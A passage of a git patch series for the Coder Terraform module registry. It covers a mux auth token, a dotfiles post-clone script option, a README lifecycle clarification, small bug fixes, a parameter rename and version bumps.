browser for bootstrap/persistence. To avoid cross-instance breakage, this change intentionally does **not** use a shared `coder_env` key. Multiple `coder/mux` module instances can target the same `agent_id` (different `slug`/`port`), and a single global env key would collide. Process-scoped env keeps each instance's backend token aligned with its app URL token. ## Validation - `terraform fmt -check -diff` in `registry/coder/modules/mux` - `terraform test` in `registry/coder/modules/mux` (8 passed, 0 failed) - Updated tests now verify the URL token value (not just prefix) and verify the launch script sets `MUX_SERVER_AUTH_TOKEN` using the generated token. --- _Generated with `mux` • Model: `anthropic:claude-opus-4-6` • Thinking: `xhigh`_ --- registry/coder/modules/mux/README.md | 14 +++--- registry/coder/modules/mux/main.tf | 25 +++++++++-- registry/coder/modules/mux/mux.tftest.hcl | 53 ++++++++++++++++++++--- registry/coder/modules/mux/run.sh | 4 +- 4 files changed, 80 insertions(+), 16 deletions(-) diff --git a/registry/coder/modules/mux/README.md b/registry/coder/modules/mux/README.md index 00a9de65..b9cfafc0 100644 --- a/registry/coder/modules/mux/README.md +++ b/registry/coder/modules/mux/README.md @@ -14,7 +14,7 @@ Automatically install and run [Mux](https://github.com/coder/mux) in a Coder wor module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id } ``` @@ -37,7 +37,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id } ``` @@ -48,7 +48,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id # Default is "latest"; set to a specific version to pin install_version = "0.4.0" @@ -63,7 +63,7 @@ Start Mux with `mux server --add-project /path/to/project`: module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id add-project = "/path/to/project" } @@ -75,7 +75,7 @@ module "mux" { module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id port = 8080 } @@ -89,7 +89,7 @@ Run an existing copy of Mux if found, otherwise install from npm: module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id use_cached = true } @@ -103,7 +103,7 @@ Run without installing from the network (requires Mux to be pre-installed): module "mux" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/mux/coder" - version = "1.0.8" + version = "1.1.0" agent_id = coder_agent.main.id install = false } diff --git a/registry/coder/modules/mux/main.tf b/registry/coder/modules/mux/main.tf index 870beae2..1eeddecf 100644 --- a/registry/coder/modules/mux/main.tf +++ b/registry/coder/modules/mux/main.tf @@ -7,6 +7,10 @@ terraform { source = "coder/coder" version = ">= 2.5" } + random = { + source = "hashicorp/random" + version = ">= 3.0" + } } } @@ -113,6 +117,22 @@ variable "open_in" { } } +# Per-module auth token for cross-site request protection. +# We pass this token into each mux process at launch time (process-scoped env) +# and include it in the app URL query string (?token=...). +# +# Why process-scoped env instead of a shared coder_env value: +# multiple mux module instances can target the same agent (different slug/port). +# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions. +resource "random_password" "mux_auth_token" { + length = 64 + special = false +} + +locals { + mux_auth_token = random_password.mux_auth_token.result +} + resource "coder_script" "mux" { agent_id = var.agent_id display_name = var.display_name @@ -125,6 +145,7 @@ resource "coder_script" "mux" { INSTALL_PREFIX : var.install_prefix, OFFLINE : !var.install, USE_CACHED : var.use_cached, + AUTH_TOKEN : local.mux_auth_token, }) run_on_start = true @@ -140,7 +161,7 @@ resource "coder_app" "mux" { agent_id = var.agent_id slug = var.slug display_name = var.display_name - url = "http://localhost:${var.port}" + url = "http://localhost:${var.port}?token=${local.mux_auth_token}" icon = "/icon/mux.svg" subdomain = var.subdomain share = var.share @@ -154,5 +175,3 @@ resource "coder_app" "mux" { threshold = 6 } } - - diff --git a/registry/coder/modules/mux/mux.tftest.hcl b/registry/coder/modules/mux/mux.tftest.hcl index c403d377..af103ae2 100644 --- a/registry/coder/modules/mux/mux.tftest.hcl +++ b/registry/coder/modules/mux/mux.tftest.hcl @@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" { ] } +# Needs command = apply because the URL contains random_password.result, +# which is unknown during plan. run "custom_port" { - command = plan + command = apply variables { agent_id = "foo" @@ -29,8 +31,51 @@ run "custom_port" { } assert { - condition = resource.coder_app.mux.url == "http://localhost:8080" - error_message = "coder_app URL must use the configured port" + condition = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=") + error_message = "coder_app URL must use the configured port and include auth token" + } + + assert { + condition = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result + error_message = "URL token must match the generated auth token" + } +} + +# Needs command = apply because random_password.result is unknown during plan. +run "auth_token_in_server_script" { + command = apply + + variables { + agent_id = "foo" + } + + assert { + condition = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=") + error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN" + } + + assert { + condition = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result) + error_message = "mux launch script must use the generated auth token" + } +} + +# Needs command = apply because random_password.result is unknown during plan. +run "auth_token_in_url" { + command = apply + + variables { + agent_id = "foo" + } + + assert { + condition = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=") + error_message = "coder_app URL must include auth token query parameter" + } + + assert { + condition = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result + error_message = "URL token must match the generated auth token" } } @@ -62,5 +107,3 @@ run "use_cached_only_success" { use_cached = true } } - - diff --git a/registry/coder/modules/mux/run.sh b/registry/coder/modules/mux/run.sh index 2409f19d..0d0c6520 100644 --- a/registry/coder/modules/mux/run.sh +++ b/registry/coder/modules/mux/run.sh @@ -9,7 +9,9 @@ function run_mux() { rm -f "$HOME/.mux/server.lock" local port_value + local auth_token_value port_value="${PORT}" + auth_token_value="${AUTH_TOKEN}" if [ -z "$port_value" ]; then port_value="4000" fi @@ -20,7 +22,7 @@ function run_mux() { fi echo "🚀 Starting mux server on port $port_value..." echo "Check logs at ${LOG_PATH}!" - PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 & + MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 & } # Check if mux is already installed for offline mode From 563dbc4a7173898141f531e805854fa2607742fc Mon Sep 17 00:00:00 2001 From: Rowan Smith Date: Mon, 16 Feb 2026 09:14:50 +1100 Subject: [PATCH 06/12] feat: add post_clone_script to dotfiles in order to support startup dependencies/coordination (#679) ## Description Adds post_clone_script variable to the dotfiles module, enabling startup coordination with other scripts that depend on dotfiles. An example of how to use this, which assumes the PR has been merged: ``` module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" version = "1.3.0" agent_id = coder_agent.main.id default_dotfiles_uri = "https://github.com/someuser/somedotfiles" post_clone_script = <<-EOF coder exp sync start dotfiles && coder exp sync complete dotfiles EOF } resource "coder_script" "personalize" { count = data.coder_workspace.me.start_count agent_id = coder_agent.main.id display_name = "Personalize" icon = "/icon/personalize.svg" run_on_start = true script = <<-EOF trap 'coder exp sync complete personalize' EXIT coder exp sync want personalize dotfiles coder exp sync start personalize SCRIPT="$HOME/.config/coderv2/dotfiles/personalize" if [ -f "$SCRIPT" ] && [ -x "$SCRIPT" ]; then $SCRIPT fi EOF } ``` ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.3.0` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [ ] Tests pass (`bun test`) - [ ] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues #678 --- registry/coder/modules/dotfiles/README.md | 12 ++++++------ registry/coder/modules/dotfiles/main.tf | 17 +++++++++++++---- registry/coder/modules/dotfiles/run.sh | 11 +++++++++++ 3 files changed, 30 insertions(+), 10 deletions(-) diff --git a/registry/coder/modules/dotfiles/README.md b/registry/coder/modules/dotfiles/README.md index 7d994c1e..9cb6a45d 100644 --- a/registry/coder/modules/dotfiles/README.md +++ b/registry/coder/modules/dotfiles/README.md @@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id } ``` @@ -31,7 +31,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id } ``` @@ -42,7 +42,7 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id user = "root" } @@ -54,14 +54,14 @@ module "dotfiles" { module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id } module "dotfiles-root" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id user = "root" dotfiles_uri = module.dotfiles.dotfiles_uri @@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_ module "dotfiles" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/dotfiles/coder" - version = "1.2.4" + version = "1.3.0" agent_id = coder_agent.example.id default_dotfiles_uri = "https://github.com/coder/dotfiles" } diff --git a/registry/coder/modules/dotfiles/main.tf b/registry/coder/modules/dotfiles/main.tf index 760f4181..40b1a4e0 100644 --- a/registry/coder/modules/dotfiles/main.tf +++ b/registry/coder/modules/dotfiles/main.tf @@ -84,6 +84,12 @@ variable "manual_update" { default = false } +variable "post_clone_script" { + description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied." + type = string + default = null +} + data "coder_parameter" "dotfiles_uri" { count = var.dotfiles_uri == null ? 1 : 0 type = "string" @@ -102,15 +108,17 @@ data "coder_parameter" "dotfiles_uri" { } locals { - dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value - user = var.user != null ? var.user : "" + dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value + user = var.user != null ? var.user : "" + encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : "" } resource "coder_script" "dotfiles" { agent_id = var.agent_id script = templatefile("${path.module}/run.sh", { DOTFILES_URI : local.dotfiles_uri, - DOTFILES_USER : local.user + DOTFILES_USER : local.user, + POST_CLONE_SCRIPT : local.encoded_post_clone_script }) display_name = "Dotfiles" icon = "/icon/dotfiles.svg" @@ -127,7 +135,8 @@ resource "coder_app" "dotfiles" { group = var.group command = templatefile("${path.module}/run.sh", { DOTFILES_URI : local.dotfiles_uri, - DOTFILES_USER : local.user + DOTFILES_USER : local.user, + POST_CLONE_SCRIPT : local.encoded_post_clone_script }) } diff --git a/registry/coder/modules/dotfiles/run.sh b/registry/coder/modules/dotfiles/run.sh index a068aca7..49ab3ec5 100644 --- a/registry/coder/modules/dotfiles/run.sh +++ b/registry/coder/modules/dotfiles/run.sh @@ -43,3 +43,14 @@ if [ -n "$${DOTFILES_URI// }" ]; then sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log" fi fi + +POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}" + +if [ -n "$POST_CLONE_SCRIPT" ]; then + echo "Running post-clone script..." + POST_CLONE_TMP=$(mktemp) + echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP" + chmod +x "$POST_CLONE_TMP" + $POST_CLONE_TMP + rm "$POST_CLONE_TMP" +fi From ac92895c5026516f52c4a9da466dc1c40502759b Mon Sep 17 00:00:00 2001 From: "blinkagent[bot]" <237617714+blinkagent[bot]@users.noreply.github.com> Date: Tue, 17 Feb 2026 14:05:54 -0600 Subject: [PATCH 07/12] docs(azure-linux): clarify resource lifecycle on stop vs delete (#713) The existing README for the Azure Linux template only mentioned that the VM is ephemeral and the managed disk is persistent, but did not explain that the resource group, virtual network, subnet, and network interface also persist when a workspace is stopped. This led to confusion where users expected all Azure resources to be cleaned up on stop, when in reality only the VM is destroyed. ## Changes - Added the persistent networking/infrastructure resources to the resource list - Added "What happens on stop" section explaining which resources persist and why - Added "What happens on delete" section confirming all resources are cleaned up - Moved the existing note about ephemeral tools/files into a "Workspace restarts" subsection for clarity Created on behalf of @DevelopmentCats Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com> Co-authored-by: DevCats --- registry/coder/templates/azure-linux/README.md | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/registry/coder/templates/azure-linux/README.md b/registry/coder/templates/azure-linux/README.md index 33d771ed..ddae36db 100644 --- a/registry/coder/templates/azure-linux/README.md +++ b/registry/coder/templates/azure-linux/README.md @@ -27,8 +27,21 @@ This template provisions the following resources: - Azure VM (ephemeral, deleted on stop) - Managed disk (persistent, mounted to `/home/coder`) +- Resource group, virtual network, subnet, and network interface (persistent, required by the managed disk and VM) -This means, when the workspace restarts, any tools or files outside of the home directory are not persisted. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles. +### What happens on stop + +When a workspace is **stopped**, only the VM is destroyed. The managed disk, resource group, virtual network, subnet, and network interface all persist. This is by design — the managed disk retains your `/home/coder` data across workspace restarts, and the other resources remain because the disk depends on them. + +This means you will see these Azure resources in your subscription even when a workspace is stopped. This is expected behavior. + +### What happens on delete + +When a workspace is **deleted**, all resources are destroyed, including the resource group, networking resources, and managed disk. + +### Workspace restarts + +Since the VM is ephemeral, any tools or files outside of the home directory are not persisted across restarts. To pre-bake tools into the workspace (e.g. `python3`), modify the VM image, or use a [startup script](https://registry.terraform.io/providers/coder/coder/latest/docs/resources/script). Alternatively, individual developers can [personalize](https://coder.com/docs/dotfiles) their workspaces with dotfiles. > [!NOTE] > This template is designed to be a starting point! Edit the Terraform to extend the template to support your use case. From 14c43d9f298cbd0fafe7a31897d0b3128df3c4f5 Mon Sep 17 00:00:00 2001 From: Katorly <70022443+katorly@users.noreply.github.com> Date: Wed, 18 Feb 2026 16:11:20 +0800 Subject: [PATCH 08/12] fix(coder/modules/jetbrains and coder-labs/modules/nextflow): fix typos in two documentations (#714) --- registry/coder-labs/modules/nextflow/README.md | 2 -- registry/coder/modules/jetbrains/README.md | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/registry/coder-labs/modules/nextflow/README.md b/registry/coder-labs/modules/nextflow/README.md index 7e6911dc..adefa645 100644 --- a/registry/coder-labs/modules/nextflow/README.md +++ b/registry/coder-labs/modules/nextflow/README.md @@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics] A module that adds Nextflow to your Coder template. -![Nextflow](../../.images/nextflow.png) - ```tf module "nextflow" { count = data.coder_workspace.me.start_count diff --git a/registry/coder/modules/jetbrains/README.md b/registry/coder/modules/jetbrains/README.md index cf97d127..7fa8f674 100644 --- a/registry/coder/modules/jetbrains/README.md +++ b/registry/coder/modules/jetbrains/README.md @@ -42,7 +42,7 @@ module "jetbrains" { version = "1.3.0" agent_id = coder_agent.main.id folder = "/home/coder/project" - default = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA + default = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA } ``` From 8defcb241018c1fe8dff8d0de618af8331da209f Mon Sep 17 00:00:00 2001 From: Zach <3724288+zedkipp@users.noreply.github.com> Date: Wed, 18 Feb 2026 09:13:22 -0700 Subject: [PATCH 09/12] fix(agentapi): fix misleading attempt counter in wait-for-start script (#734) The log message showed ($i/15) where $i ranged from 1-150, making it look like the counter overshot its maximum. This change extracts the iteration count into a max_attempts variable and uses it consistently. --- registry/coder/modules/agentapi/README.md | 2 +- .../agentapi/scripts/agentapi-wait-for-start.sh | 10 ++++++---- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/registry/coder/modules/agentapi/README.md b/registry/coder/modules/agentapi/README.md index 06897d6b..e7a9869f 100644 --- a/registry/coder/modules/agentapi/README.md +++ b/registry/coder/modules/agentapi/README.md @@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI ```tf module "agentapi" { source = "registry.coder.com/coder/agentapi/coder" - version = "2.1.0" + version = "2.1.1" agent_id = var.agent_id web_app_slug = local.app_slug diff --git a/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh b/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh index 6e18332f..6ae5b14a 100644 --- a/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh +++ b/registry/coder/modules/agentapi/scripts/agentapi-wait-for-start.sh @@ -3,20 +3,22 @@ set -o errexit set -o pipefail port=${1:-3284} +max_attempts=150 -# This script waits for the agentapi server to start on port 3284. +# This script waits for the agentapi server to start on the given port. +# Each attempt sleeps 0.1s, so 150 attempts ≈ 15 seconds. # It considers the server started after 3 consecutive successful responses. agentapi_started=false echo "Waiting for agentapi server to start on port $port..." -for i in $(seq 1 150); do +for i in $(seq 1 "$max_attempts"); do for j in $(seq 1 3); do sleep 0.1 if curl -fs -o /dev/null "http://localhost:$port/status"; then echo "agentapi response received ($j/3)" else - echo "agentapi server not responding ($i/15)" + echo "agentapi server not responding ($i/$max_attempts)" continue 2 fi done @@ -25,7 +27,7 @@ for i in $(seq 1 150); do done if [ "$agentapi_started" != "true" ]; then - echo "Error: agentapi server did not start on port $port after 15 seconds." + echo "Error: agentapi server did not start on port $port after $max_attempts attempts." exit 1 fi From 186a779659e1f5ad7aa967ab1d6caa0a03ff5780 Mon Sep 17 00:00:00 2001 From: Phorcys <57866459+phorcys420@users.noreply.github.com> Date: Tue, 24 Feb 2026 01:57:35 +0100 Subject: [PATCH 10/12] chore(registry/coder/modules): rename vscode-desktop-core input params (#750) ## Description Rename `web_app_*` suffix to `coder_app_*` ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other --- .../modules/vscode-desktop-core/README.md | 12 +++++------ .../modules/vscode-desktop-core/main.test.ts | 14 ++++++------- .../coder/modules/vscode-desktop-core/main.tf | 20 +++++++++---------- 3 files changed, 23 insertions(+), 23 deletions(-) diff --git a/registry/coder/modules/vscode-desktop-core/README.md b/registry/coder/modules/vscode-desktop-core/README.md index d95e2da2..1b86783a 100644 --- a/registry/coder/modules/vscode-desktop-core/README.md +++ b/registry/coder/modules/vscode-desktop-core/README.md @@ -16,15 +16,15 @@ The VSCode Desktop Core module is a building block for modules that need to expo ```tf module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.1" + version = "1.0.2" agent_id = var.agent_id - web_app_icon = "/icon/code.svg" - web_app_slug = "vscode" - web_app_display_name = "VS Code Desktop" - web_app_order = var.order - web_app_group = var.group + coder_app_icon = "/icon/code.svg" + coder_app_slug = "vscode" + coder_app_display_name = "VS Code Desktop" + coder_app_order = var.order + coder_app_group = var.group folder = var.folder open_recent = var.open_recent diff --git a/registry/coder/modules/vscode-desktop-core/main.test.ts b/registry/coder/modules/vscode-desktop-core/main.test.ts index 46c51227..87674f32 100644 --- a/registry/coder/modules/vscode-desktop-core/main.test.ts +++ b/registry/coder/modules/vscode-desktop-core/main.test.ts @@ -11,9 +11,9 @@ const appName = "vscode-desktop"; const defaultVariables = { agent_id: "foo", - web_app_icon: "/icon/code.svg", - web_app_slug: "vscode", - web_app_display_name: "VS Code Desktop", + coder_app_icon: "/icon/code.svg", + coder_app_slug: "vscode", + coder_app_display_name: "VS Code Desktop", protocol: "vscode", }; @@ -99,16 +99,16 @@ describe("vscode-desktop-core", async () => { ); expect(coder_app?.instances[0].attributes.slug).toBe( - defaultVariables.web_app_slug, + defaultVariables.coder_app_slug, ); expect(coder_app?.instances[0].attributes.display_name).toBe( - defaultVariables.web_app_display_name, + defaultVariables.coder_app_display_name, ); }); it("sets order", async () => { const state = await runTerraformApply(import.meta.dir, { - web_app_order: "5", + coder_app_order: "5", ...defaultVariables, }); @@ -122,7 +122,7 @@ describe("vscode-desktop-core", async () => { it("sets group", async () => { const state = await runTerraformApply(import.meta.dir, { - web_app_group: "web-app-group", + coder_app_group: "web-app-group", ...defaultVariables, }); diff --git a/registry/coder/modules/vscode-desktop-core/main.tf b/registry/coder/modules/vscode-desktop-core/main.tf index 7e675712..9a7da34c 100644 --- a/registry/coder/modules/vscode-desktop-core/main.tf +++ b/registry/coder/modules/vscode-desktop-core/main.tf @@ -31,28 +31,28 @@ variable "protocol" { description = "The URI protocol the IDE." } -variable "web_app_icon" { +variable "coder_app_icon" { type = string description = "The icon of the coder_app." } -variable "web_app_slug" { +variable "coder_app_slug" { type = string description = "The slug of the coder_app." } -variable "web_app_display_name" { +variable "coder_app_display_name" { type = string description = "The display name of the coder_app." } -variable "web_app_order" { +variable "coder_app_order" { type = number description = "The order of the coder_app." default = null } -variable "web_app_group" { +variable "coder_app_group" { type = string description = "The group of the coder_app." default = null @@ -65,12 +65,12 @@ resource "coder_app" "vscode-desktop" { agent_id = var.agent_id external = true - icon = var.web_app_icon - slug = var.web_app_slug - display_name = var.web_app_display_name + icon = var.coder_app_icon + slug = var.coder_app_slug + display_name = var.coder_app_display_name - order = var.web_app_order - group = var.web_app_group + order = var.coder_app_order + group = var.coder_app_group url = join("", [ var.protocol, From d8851492c099655bd81cf19f274ce758796740b7 Mon Sep 17 00:00:00 2001 From: Phorcys <57866459+phorcys420@users.noreply.github.com> Date: Tue, 24 Feb 2026 05:43:49 +0100 Subject: [PATCH 11/12] fix: fix positron module slug and display name (#752) ## Description In https://github.com/coder/registry/pull/279, I had accidentally made the slug of the Positron Desktop app "cursor", and display name to be "Cursor Desktop". This PR fixes that. ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other --- registry/cytoshahar/modules/positron/main.tf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/registry/cytoshahar/modules/positron/main.tf b/registry/cytoshahar/modules/positron/main.tf index 9365b444..070feed8 100644 --- a/registry/cytoshahar/modules/positron/main.tf +++ b/registry/cytoshahar/modules/positron/main.tf @@ -41,13 +41,13 @@ variable "group" { variable "slug" { type = string description = "The slug of the app." - default = "cursor" + default = "positron" } variable "display_name" { type = string description = "The display name of the app." - default = "Cursor Desktop" + default = "Positron Desktop" } data "coder_workspace" "me" {} From 480bf4b48cdefbad93497c1454189f3847b50464 Mon Sep 17 00:00:00 2001 From: Phorcys <57866459+phorcys420@users.noreply.github.com> Date: Tue, 24 Feb 2026 06:20:27 +0100 Subject: [PATCH 12/12] chore: update vscode-desktop-core module dependencies (#751) ## Description #750 follow-up ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other --- registry/coder/modules/antigravity/README.md | 6 +++--- registry/coder/modules/antigravity/main.tf | 12 ++++++------ registry/coder/modules/cursor/README.md | 6 +++--- registry/coder/modules/cursor/main.tf | 2 +- registry/coder/modules/kiro/README.md | 6 +++--- registry/coder/modules/kiro/main.tf | 2 +- registry/coder/modules/vscode-desktop/README.md | 4 ++-- registry/coder/modules/vscode-desktop/main.tf | 2 +- registry/coder/modules/windsurf/README.md | 6 +++--- registry/coder/modules/windsurf/main.tf | 2 +- registry/cytoshahar/modules/positron/README.md | 4 ++-- registry/cytoshahar/modules/positron/main.tf | 2 +- 12 files changed, 27 insertions(+), 27 deletions(-) diff --git a/registry/coder/modules/antigravity/README.md b/registry/coder/modules/antigravity/README.md index ed5882b2..734cbef4 100644 --- a/registry/coder/modules/antigravity/README.md +++ b/registry/coder/modules/antigravity/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id } ``` @@ -29,7 +29,7 @@ module "antigravity" { module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Antigravity to use the GitHub MCP server with a module "antigravity" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/antigravity/coder" - version = "1.0.0" + version = "1.0.1" agent_id = coder_agent.example.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/antigravity/main.tf b/registry/coder/modules/antigravity/main.tf index 27c6166d..81ccd1c8 100644 --- a/registry/coder/modules/antigravity/main.tf +++ b/registry/coder/modules/antigravity/main.tf @@ -66,15 +66,15 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.1" + version = "1.0.2" agent_id = var.agent_id - web_app_icon = "/icon/antigravity.svg" - web_app_slug = var.slug - web_app_display_name = var.display_name - web_app_order = var.order - web_app_group = var.group + coder_app_icon = "/icon/antigravity.svg" + coder_app_slug = var.slug + coder_app_display_name = var.display_name + coder_app_order = var.order + coder_app_group = var.group folder = var.folder open_recent = var.open_recent diff --git a/registry/coder/modules/cursor/README.md b/registry/coder/modules/cursor/README.md index 7a870ac0..628950f5 100644 --- a/registry/coder/modules/cursor/README.md +++ b/registry/coder/modules/cursor/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "cursor" { module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -45,7 +45,7 @@ The following example configures Cursor to use the GitHub MCP server with authen module "cursor" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/cursor/coder" - version = "1.4.0" + version = "1.4.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/cursor/main.tf b/registry/coder/modules/cursor/main.tf index 0c0f8aa2..a33a2cc3 100644 --- a/registry/coder/modules/cursor/main.tf +++ b/registry/coder/modules/cursor/main.tf @@ -66,7 +66,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/kiro/README.md b/registry/coder/modules/kiro/README.md index 23c17885..51fbe9ae 100644 --- a/registry/coder/modules/kiro/README.md +++ b/registry/coder/modules/kiro/README.md @@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id } ``` @@ -31,7 +31,7 @@ module "kiro" { module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } @@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti module "kiro" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/kiro/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" mcp = jsonencode({ diff --git a/registry/coder/modules/kiro/main.tf b/registry/coder/modules/kiro/main.tf index c48364bc..84b44b34 100644 --- a/registry/coder/modules/kiro/main.tf +++ b/registry/coder/modules/kiro/main.tf @@ -53,7 +53,7 @@ locals { module "vscode-desktop-core" { source = "registry.coder.com/coder/vscode-desktop-core/coder" - version = "1.0.0" + version = "1.0.2" agent_id = var.agent_id diff --git a/registry/coder/modules/vscode-desktop/README.md b/registry/coder/modules/vscode-desktop/README.md index 56f39bf7..7252361d 100644 --- a/registry/coder/modules/vscode-desktop/README.md +++ b/registry/coder/modules/vscode-desktop/README.md @@ -16,7 +16,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder) module "vscode" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/vscode-desktop/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id } ``` @@ -29,7 +29,7 @@ module "vscode" { module "vscode" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder/vscode-desktop/coder" - version = "1.2.0" + version = "1.2.1" agent_id = coder_agent.main.id folder = "/home/coder/project" } diff --git a/registry/coder/modules/vscode-desktop/main.tf b/registry/coder/modules/vscode-desktop/main.tf index c9e6dd35..8d98a1a7 100644 --- a/registry/coder/modules/vscode-desktop/main.tf +++ b/registry/coder/modules/vscode-desktop/main.tf @@ -40,7 +40,7 @@ 